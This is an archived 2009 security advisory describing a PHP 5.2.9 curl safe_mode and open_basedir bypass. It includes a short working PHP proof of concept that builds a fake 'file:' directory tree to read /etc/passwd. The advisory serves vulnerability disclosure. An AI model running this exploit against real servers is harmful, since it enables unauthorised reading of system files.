TUCoPS :: Web :: PHP :: va3129.htm

PHP 5.2.9 curl safe_mode & open_basedir bypass
PHP 5.2.9 curl safe_mode & open_basedir bypass
PHP 5.2.9 curl safe_mode & open_basedir bypass



-----BEGIN PGP SIGNED MESSAGE-----=0D
Hash: SHA1=0D
=0D
[ PHP 5.2.9 curl safe_mode & open_basedir bypass ]=0D
=0D
Author: Maksymilian Arciemowicz=0D
http://SecurityReason.com=0D 
Date:=0D
- - Dis.: 31.12.2008=0D
- - Pub.: 10.04.2009=0D
=0D
Original URL:=0D
http://securityreason.com/achievement_securityalert/61=0D 
=0D
- --- 0.Description ---=0D
PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.=0D
=0D
PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols. libcurl currently supports the http, https, ftp, gopher, telnet, dict, file, and ldap protocols. libcurl also supports HTTPS certificates, HTTP POST, HTTP PUT, FTP uploading (this can also be done with PHP's ftp extension), HTTP form based upload, proxies, cookies, and user+password authentication.=0D
=0D
- --- 1. PHP 5.2.9 curl safe_mode & open_basedir bypass ---=0D
The main problem exist in checking safe_mode & open_basedir for curl functions. There is a difference between checking the access and the implementation of the operations.=0D
=0D
Example code:=0D
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");=0D
=0D
curl in the first place check safe_mode and open_basedir for=0D
=0D
"file:////etc/passwd" =0D
/* realpath is ./file:/etc/passwd */=0D
=0D
and in next step will read=0D
=0D
"file:////etc/passwd"=0D
(without wrapper => /etc/passwd)=0D
=0D
To attack, we need to cheat php by creating a virtual tree like=0D
=0D
./file:/=0D
./file:/etc/=0D
./file:/etc/passwd/=0D
=0D
Example for /etc/hosts :=0D
=0D
./file:/=0D
./file:/etc/=0D
./file:/etc/hosts/=0D
=0D
So if you execute the file as user X, we have to create special subdirectories.=0D
=0D
- ---EXAMPLE-EXPLOIT---=0D
mkDIR("file:");=0D
chdir("file:");=0D
mkDIR("etc");=0D
chdir("etc");=0D
mkDIR("passwd");=0D
chdir("..");=0D
chdir("..");=0D
=0D
$ch = curl_init();=0D
=0D
curl_setopt($ch, CURLOPT_URL, "file:file:////etc/passwd");=0D
curl_setopt($ch, CURLOPT_HEADER, 0);=0D
=0D
curl_exec($ch);=0D
=0D
curl_close($ch);=0D
- ---EXAMPLE-EXPLOIT---=0D
=0D
The previous changes, may contribute to this error in php 5.2.9.=0D
We will discourages the use ( safe_mode & open_basedir ) as the main security.=0D
=0D
Exploit:=0D
http://securityreason.com/achievement_exploitalert/11=0D 
=0D
- --- 2. Fix ---=0D
Not use safe_mode and open_basedir like a main safety=0D
=0D
- --- 3. Greets ---=0D
sp3x Infospec Chujwamwdupe p_e_a pi3 schain and r.i.p. ladybms=0D
=0D
- --- 4. Contact ---=0D
Author: SecurityReason.com [ Maksymilian Arciemowicz ]=0D
Email: cxib [a.t] securityreason [d00t] com=0D
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg=0D 
http://securityreason.com=0D 
http://securityreason.pl=0D 
-----BEGIN PGP SIGNATURE-----=0D
Version: GnuPG v1.4.9 (OpenBSD)=0D
=0D
iEYEARECAAYFAknfVzEACgkQpiCeOKaYa9bB7wCfUGnETLIyNN1de0A/wwLumeAy=0D
wHMAn3OiRiuKq9ZL4zM0YNH6ix+NSNtQ=0D
=Hcjr=0D
-----END PGP SIGNATURE-----=0D

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH